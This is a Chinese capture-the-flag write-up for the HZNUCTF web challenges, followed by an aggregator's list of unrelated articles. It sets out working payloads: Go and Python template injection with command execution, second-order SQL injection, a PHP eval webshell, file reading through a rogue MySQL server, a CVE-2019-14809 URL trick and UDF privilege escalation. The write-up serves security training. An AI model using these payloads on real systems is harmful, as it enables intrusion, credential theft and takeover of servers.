HZNUCTF第五届校赛实践赛初赛 Web方向 WriteUp

news2024/11/26 16:37:33

ezssti

很简单的ssti

源码给了,调用Eval即可执行命令

package main

import (
	"fmt"
	"net/http"
	"os/exec"
	"strings"
	"text/template"
)

type User struct {
	Id     int
	Name   string
	Passwd string
}

func (u User) Eval(command string) string {
	out, _ := exec.Command(command).CombinedOutput()
	return string(out)
}

func Login(w http.ResponseWriter, r *http.Request) {
	r.ParseForm()
	username := strings.Join(r.PostForm["name"], "")
	password := strings.Join(r.PostForm["passwd"], "")
	user := &User{1, username, password}
	tpl1 := fmt.Sprintf(`<h1>Hi, ` + username + `</h1> This is SSTI, please post your name and password`)
	html, err := template.New("login").Parse(tpl1)
	html = template.Must(html, err)
	html.Execute(w, user)
}

func main() {
	server := http.Server{
		Addr: "0.0.0.0:8080",
	}
	fmt.Print("Server is running on 0.0.0.0:8080")
	http.HandleFunc("/login", Login)
	server.ListenAndServe()
}
POST /login HTTP/1.1
Host: 10.244.0.254:28003
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 20

name={{.Eval "env"}}

sql2login

SQL注入之二次注入。sqlilabs 24 关(中间)也是这个考点。考验刷sqlilabs的题量。

Hint1:看看index中的图,最下面有东西。

Hint2:sqlilabs第2x关。

Hint3:

"UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

运行部署:(cd进源码目录,会映射到9028端口)

docker-compose build && docker-compose up -d


快速构建:
docker build -t sql2login . && docker run -d --name=sql2login -p 9028:80 --rm sql2login

快速重启:
docker stop sql2login && docker rmi sql2login && docker build -t sql2login . && docker run -d --name=sql2login -p 9028:80 --rm sql2login

WP:

开局一张图。

image-20240410062721081

这个故事告诉我们,要少看瑟图,眼睛不要盯着不该看的地方,要不然就会使得我们获得hint。

image-20240410062835820

是个二次注入,title就是hint。

image-20240410062928058

题中我们的步骤是:

1、注册一个 admin'#的账号,密码是123123

注册用户时,数据库内添加数据语句:(login_create.php)
$sql = "insert into users ( username, password) values(\"$username\", \"$pass\")";
所以数据库内添加了一条数据,账号是 admin’#,密码是123123

image-20240410174104504

2、接下来登录该帐号后进行修改密码,修改为111111

修改密码时,数据库内更新数据语句:(pass_change.php)
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

带入数据就是:
$sql = "UPDATE users SET PASSWORD='111111' where username='admin' #' and password='admin原来的密码' ";

单引号是为了和之后密码修的用户名的单引号进行闭合,#是为了注释后面的数据。此时修改的就是 admin 的密码。

image-20240410174129783

image-20240410174150830

image-20240410174159685

真亦假,假亦真(HZNU版)

题目描述:开开心心签个到吧,祝各位师傅们好运~

Jay17ashjdaskdhasadasdadsadssdasdadsasdasdasdasdxcvnxkjcvnxjcsdhkjashdjkadjk.php

<?php
error_reporting(0);
header('Content-Type: text/html; charset=utf-8');
highlight_file(__FILE__);

//签到题,直接送大家shell了,做好事不留名,我叫Jay17

//标准一句话mua~
eval($_POST[1]);
?>

index.php

<?php
error_reporting(0);
header('Content-Type: text/html; charset=utf-8');
highlight_file('Jay17ashjdaskdhasadasdadsadssdasdadsasdasdasdasdxcvnxkjcvnxjcsdhkjashdjkadjk.php');

//以代码输出代替命令执行结果,让选手误以为成功利用了一句话木马,但是一直得不到正确的flag。
//比如选手传参ls /,返回事先准备好的想让选手看见的根目录内容,选手传参cat /flag返回ISCTF{fake_flag}
//破局方法很简单,选手只需要ls和cat index.php亲自查看源码内容即可。
//不是什么难题,偏脑洞和趣味性,以及有时候眼睛看到的不一定是真的哈哈哈哈。


if (isset($_POST['1']) && (strpos($_POST['1'], 'flag') !== false || strpos($_POST['1'], 'f*') !== false || strpos($_POST['1'], 'fl*') !== false || strpos($_POST['1'], 'fla*') !== false || (strpos($_POST['1'], 'f') !== false  &&  strpos($_POST['1'], '?') !== false) ) ){
    echo 'HZNU{this_is_real_flag}';
} elseif( isset($_POST['1'])  &&  strpos($_POST['1'], 'ls') !== false &&  strpos($_POST['1'], 'ls ..') == false  &&  strpos($_POST['1'], 'ls /') == false  ){
    echo 'index.php';
}else{
    eval($_POST['1']);
}




eval($_POST['ljtn']);
?>

运行部署:(cd进源码目录,会映射到9024端口)

快速构建:
docker build -t hstof . && docker run -d --name=hstof -e FLAG=HZNUCTF{test_flag} -p 9032:80 --rm hstof

快速重启:
docker stop hstof && docker rmi hstof && docker build -t hstof . && docker run -d --name=hstof -e FLAG=HZNUCTF{test_flag} -p 9032:80 --rm hstof

WP:(有时候眼睛看见的不一定是真的,只是别人想让你看到的罢了)

能成功骗过蚂蚁剑,就是根目录下看不见/flag

image-20240411184822028

这局,但凡你不相信我一次,读一下index.php就能赢

1=cat /index.php
ljtn=cat /flag

ezsql

利用LOAD DATA LOCAL INFILE来读取文件,

可以使用自己的mysql或者使用Rogue Mysql Server。

读取数据库用户名密码,然后访问

POST /query.php HTTP/1.1
Host: 10.244.0.254:28002
Content-Length: 72
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://10.244.0.254:28004
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://10.244.0.254:28004/
Cookie: PHPSESSID=ezsql
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

host=127.0.0.1&username=root&password=asd222%21%21%40332asc&dbname=mysql

利用load_file函数读取文件

POST /query.php HTTP/1.1
Host: 10.244.0.254:28002
Content-Length: 32
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://10.244.0.254:28004
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://10.244.0.254:28004/query.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=ezsql
Connection: close

sql=select+load_file('/flag')%3b

suid

开局查看注释提示

<?php
highlight_file(__FILE__);
// var_dump($_POST);
if (isset($_POST["s_1.1"])) {
    echo "level 1"."<br>";
    if (';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_POST['cmd'])) {
        if (!preg_match('/high|get_defined_vars|scandir|var_dump|read|file|php|curent|end/i', $_POST['cmd'])) {
            echo 'success!'.'<br>';
            eval($_POST['cmd']);
        }
    }
} else {
    echo "nonono 1";
}
nonono 1

需要传参给s_1.1则s[1.1=1即可,然后利用http headers来达到任意参数

POST /eval.php HTTP/1.1
Host: 10.244.0.254
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 60
A: bash -p -c "cat /flag"

cmd=system(current(array_reverse(getallheaders())));&s[1.1=1

炼狱waf-S

本题思路利用subprocess.Popen来执行命令

payload:

{{[].__class__.__base__.__subclasses__()[351]('cat /proc/1/en*',shell=True,stdout=-1).communicate()[0].strip()}}

image-20240415131007885

非预期:

image-20240418144856228

image-20240418145022698

gogogo

首先来到第一关,很明显的伪随机数,不过要猜是第几个,种子推测是时间为种子

image-20240415131810987

本地测试代码,利用未来时间作为种子即可,然后对应时间提交。

package main

import (
	"fmt"
	"math/rand"
)

func main() {
	rand.Seed(1713158260)
	// 生成一个随机数
	randomNumber1 := rand.Int()
	randomNumber2 := rand.Int()
	randomNumber3 := rand.Int()
	randomNumber4 := rand.Int()
	randomNumber5 := rand.Int()
	randomNumber6 := rand.Int()
	randomNumber7 := rand.Int() + randomNumber1 - randomNumber1 + randomNumber2 - randomNumber2 + randomNumber3 - randomNumber3 + randomNumber4 - randomNumber4 + randomNumber5 - randomNumber5 + randomNumber6 - randomNumber6
	// 输出生成的随机数
	fmt.Println("中奖号码为:", randomNumber1)
	fmt.Println("中奖号码为:", randomNumber2)
	fmt.Println("中奖号码为:", randomNumber3)
	fmt.Println("中奖号码为:", randomNumber4)
	fmt.Println("中奖号码为:", randomNumber5)
	fmt.Println("中奖号码为:", randomNumber6)
	fmt.Println("中奖号码为:", randomNumber7)

	//当前时间戳为:1712906207
	//中将号码为:5083385238485808331
}

image-20240415131937056

第二关,简单的整数溢出,是-20000-(int16)tax的自己测试就可以了

image-20240415140031891

第三关,CVE-2019-14809,这个漏洞是解析错误

image-20240415140953599

题目源码基本没有改,就是改了一个port,用:替代或者爆破。

payload:

http://root:P@ssw0rd!@[127.0.0.1]['Pwned!']:/flag.php

hardsql

首先利用LOAD DATA local来从mysql客户端读取文件上传到mysql伪造服务端。

读取源码,然后拿到数据库密码,然后直接连接数据库

这里可以使用自己配置过的mysql服务器,也可以使用开源项目的(Rogue mysql server)我用的是rmb122/rogue_mysql_server

image-20240401152241049

读取源码

image-20240401152559027

image-20240401152634921

<?php
session_start();
// 指定数据库连接信息
// MYSQL_USER: root
// MYSQL_PASSWORD: asd222!!@332asc
$status = 0;

if (isset($_POST["host"])) {
  $host = $_POST["host"];
  $username = $_POST["username"];
  $password = $_POST["password"];
  $dbname = $_POST["dbname"];
  $status = 0;
} else {
  $host = $_SESSION["host"];
  $username = $_SESSION["username"];
  $password = $_SESSION["password"];
  $dbname = $_SESSION["dbname"];
  $status = 1;
}


// 连接数据库
$conn = new mysqli($host, $username, $password, $dbname);

// 检查连接
if ($conn->connect_error) {
  die("Connection failed: " . $conn->connect_error);
}

// $conn->options(MYSQLI_OPT_LOCAL_INFILE, true);

if ($status == 0) {
  $_SESSION["host"] = $_POST["host"];
  $_SESSION["username"] = $_POST["username"];
  $_SESSION["password"] = $_POST["password"];
  $_SESSION["dbname"] = $_POST["dbname"];

}
?>
<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Query</title>
</head>

<style>
  form {
    width: 600px;
    margin: 0 auto;
  }

  label {
    display: block;
    margin-bottom: 10px;
  }

  input,
  textarea {
    width: 100%;
    padding: 10px;
    border: 1px solid #ddd;
    border-radius: 4px;
    font-size: 20px;
  }

  #submit {
    background: #3498db;
    color: white;
    padding: 10px 20px;
    border: none;
    border-radius: 4px;
    cursor: pointer;
  }
</style>

<body>
  <form method="post" action="query.php">

    <h2>Execute SQL</h2>

    <label for="sql">SQL Statement:</label>
    <input id="sql" name="sql"></input>

    <input type="submit" id="submit" value="Submit">

  </form>
</body>

</html>
<?php

if (isset($_POST["sql"])) {
  $result = $conn->query($_POST["sql"]);
  // var_dump($result);
  if ($result->num_rows > 0) {
    echo "<table>";
    while ($row = $result->fetch_assoc()) {
      echo "<tr>";
      foreach ($row as $key => $val) {
        echo "<td>$key: $val</td>";
      }
      echo "</tr>";
    }
    echo "</table>";
  } else {
    if ($result == false) {
      echo "error: ". mysqli_error($conn);
    } else
      echo "Query executed successfully.";
  }

}
// 关闭连接
$conn->close();

?>

然后连接数据库进行udf提权

查看安全权限、插件目录

image-20240401153729339

image-20240401153705220

16进制导出方法(windows):

select hex(load_file('C:\\lib_mysqludf_sys_32.dll')) into dumpfile 'C:\\lib_mysqludf_sys_32.txt';

上传到对应文件中:

SELECT 0x(SO或者dll文件16进制编码) into DUMPFILE "/usr/lib/mariadb/plugin/udf.so"

如果一次不行要记得先导入表中分两次导入即可

创建函数:

create function sys_eval returns string soname 'udf.so';

提权以后:

image-20240401154206341

image-20240401154232613

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1606829.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

短视频去水印解析接口 可测试

短视频解析聚合接口80多个热们短视频平台。可测试 接口开发文档&#xff1a; 返回格式&#xff1a; JSON 请求方式&#xff1a; GET/POST 示例请求地址&#xff1a;https://www.dspqsy.vip/spapi?keykey&url短视频url 请求参数说明&#xff1a; 字段必填类型说明url是…

Golang | Leetcode Golang题解之第36题有效的数独

题目&#xff1a; 题解&#xff1a; func isValidSudoku(board [][]byte) bool {var rows, columns [9][9]intvar subboxes [3][3][9]intfor i, row : range board {for j, c : range row {if c . {continue}index : c - 1rows[i][index]columns[j][index]subboxes[i/3][j/3]…

2021年全国大学生电子设计竞赛D题——基于互联网的摄像测量系统(二)

09 电路设计 前面介绍了系统的硬件框图如下&#xff1a; 硬件基本分为三块&#xff0c;两个摄像节点&#xff0c;一个终端节点。 1. 摄像节点硬件 摄像节点由一个DE10-Nano开发板和一个D8M摄像头实现&#xff0c;DE10-Nano开发板的HDMI接口外接HDMI显示器来显示拍摄到的视频。…

Linux下SPI设备驱动实验:验证读写SPI设备中数据的函数功能

一. 简介 前面文章实现了 SPI设备驱动框架&#xff0c;并在此基础上添加了字符设备驱动框架&#xff0c;实现了读 / 写SPI设备中数据的函数&#xff0c;文章如下&#xff1a; Linux下SPI设备驱动实验&#xff1a;向SPI驱动框架中加入字符设备驱动框架代码-CSDN博客 Linux下…

基于springboot实现工程教育认证的计算机课程管理平台项目【项目源码+论文说明】

基于springboot实现计算机课程管理平台系统演示 摘要 随着信息技术在管理上越来越深入而广泛的应用&#xff0c;管理信息系统的实施在技术上已逐步成熟。本文介绍了基于工程教育认证的计算机课程管理平台的开发全过程。通过分析基于工程教育认证的计算机课程管理平台管理的不足…

opencv | 编译缺失ippicv相关文件解决方案

1.执行cmake后&#xff0c;查看控制台输出信息 ~/VM_data/opencv-4.9.0$ cd buile_temp ~/VM_data/opencv-4.9.0/buile_temp$ cmake ..2.去浏览器打开链接&#xff0c;下载对应的压缩包&#xff0c;解压到 路径&#xff1a;/3rdparty/ippicv/

【Canvas技法】四条C形色带填满一个圆/环形

【关键点】 通过三角函数计算控制点的位置。 【成果图】 【代码】 <!DOCTYPE html> <html lang"utf-8"> <meta http-equiv"Content-Type" content"text/html; charsetutf-8"/> <head><title>四条C形色带填满一个…

2024华中杯C题平面曲线重建思路

华中杯数学建模思路 光纤传感技术是伴随着光纤及光通信技术发展起来的一种新型传感器技 术。它是以光波为传感信号、光纤为传输载体来感知外界环境中的信号&#xff0c;其基本原理是当外界环境参数发生变化时&#xff0c;会引起光纤传感器中光波参量&#xff08;如波长、相位、…

IDEA使用SCALA

一、在IDEA中下载插件 在设置->插件中找到scala&#xff0c;并下载。 下载完成后重启idea 二、在idea中创建spark的RDD操作项目 新建项目选中Scala。 创建完成后为项目添加java包&#xff0c;这个添加的是spark安装包中jars目录下的所有jar包 然后编写RDD操作 import or…

24年蓝桥杯java-b组

24年蓝桥杯javaB组 蓝桥杯在昨天考完了&#xff0c;结果很不乐观&#xff0c;哎&#xff0c;还是太笨了&#xff0c;脑子确实转的慢&#xff1b;&#x1f625; 本篇博客中解题思路和代码并不一定完全正确&#xff0c;是我和同学们讨论的解答方法&#xff0c;但并未使用官方题…

Sharding-JDBC笔记1

Sharding-JDBC笔记1 1.分库分表1.1 垂直分库1.2 垂直分表1.3 水平分库1.4 水平分表 2.存在问题2.1 事务一致性2.2 跨节点关联查询2.3 跨节点分页、排序函数2.4 主键避重2.5 公共表 1.分库分表 分库分表就是为了解决由于数据量过大而导致数据库性能降低的问题&#xff0c;将原来…

亚马逊云挂机项目,单机600+,详细拆解

一、什么是亚马逊云挂机项目&#xff1f; 此项目有很多种叫法&#xff0c;也有人叫它亚马逊店铺挂机浏览项目。 二、赚钱原理&#xff1f; 新入驻的亚马逊商家往往是没有流量和曝光的&#xff0c;为了让店铺的商品更多的被人看到&#xff0c;花钱在平台直接买流量又不划算&a…

android远程更新下载apk

最近业务有涉及到&#xff0c;奈何是个app代码小白&#xff0c;遂记录一下 一&#xff1a;AndroidManifest.xml文件配置 application标签里面加上 android:networkSecurityConfig"xml/network_config" <!-- app下载更新配置--> <uses-permission andr…

国内主流的盗版软件检测工具有哪些?盗版软件检测工具推荐

在当前数字化时代&#xff0c;企业面临着越来越多的挑战&#xff0c;其中之一就是如何防止员工私自安装使用盗版软件。盗版软件不仅侵犯了知识产权&#xff0c;还可能给企业带来诸多风险如安全隐患、法律纠纷和财务损失。因此&#xff0c;企业需要采取一系列措施来防范员工私自…

Qt实现XYModem协议(六)

1 概述 XMODEM协议是一种使用拨号调制解调器的个人计算机通信中广泛使用的异步文件运输协议。这种协议以128字节块的形式传输数据&#xff0c;并且每个块都使用一个校验和过程来进行错误检测。使用循环冗余校验的与XMODEM相应的一种协议称为XMODEM-CRC。还有一种是XMODEM-1K&am…

分布式系统的监控基础架构Dapper

文章目录 基本设计目标监控系统设计基本要求三个基本设计目标 Dapper监控系统简介三个基本概念区间Helper.Call的详细信息监控信息的汇总监控数据汇总单独进行的原因 关键性技术轻量级核心功能库二次抽样技术 常用Dapper工具Dapper存储API 基本设计目标 监控系统设计基本要求 …

力扣(leetcode) 42. 接雨水 (带你逐步思考)

力扣(leetcode) 42. 接雨水 &#xff08;带你逐步思考&#xff09; 链接&#xff1a;https://leetcode.cn/problems/trapping-rain-water/ 难度&#xff1a;hard 给定 n 个非负整数表示每个宽度为 1 的柱子的高度图&#xff0c;计算按此排列的柱子&#xff0c;下雨之后能接多…

「GO基础」在Windows上配置VS Code GO语言开发环境

&#x1f49d;&#x1f49d;&#x1f49d;欢迎莅临我的博客&#xff0c;很高兴能够在这里和您见面&#xff01;希望您在这里可以感受到一份轻松愉快的氛围&#xff0c;不仅可以获得有趣的内容和知识&#xff0c;也可以畅所欲言、分享您的想法和见解。 推荐:「stormsha的主页」…

【数据结构(八)上】二叉树经典习题

❣博主主页: 33的博客❣ ▶文章专栏分类: Java从入门到精通◀ &#x1f69a;我的代码仓库: 33的代码仓库&#x1f69a; &#x1faf5;&#x1faf5;&#x1faf5;关注我带你学更多数据结构的知识 目录 1.前言2.经典习题2.1相同的树2.2另一棵子树2.3翻转二叉树2.4平衡二叉树2.5对…

安宝特方案 | AR工业解决方案系列-工厂督查

在工业4.0时代&#xff0c;增强现实&#xff08;AR&#xff09;技术正全面重塑传统工业生产&#xff0c;在工厂监督领域&#xff0c;其应用不仅大幅提升了生产效率、监测准确性和规范执行程度&#xff0c;而且为整体生产力带来了质的飞跃。 01 传统挑战与痛点 在制造业生产流程…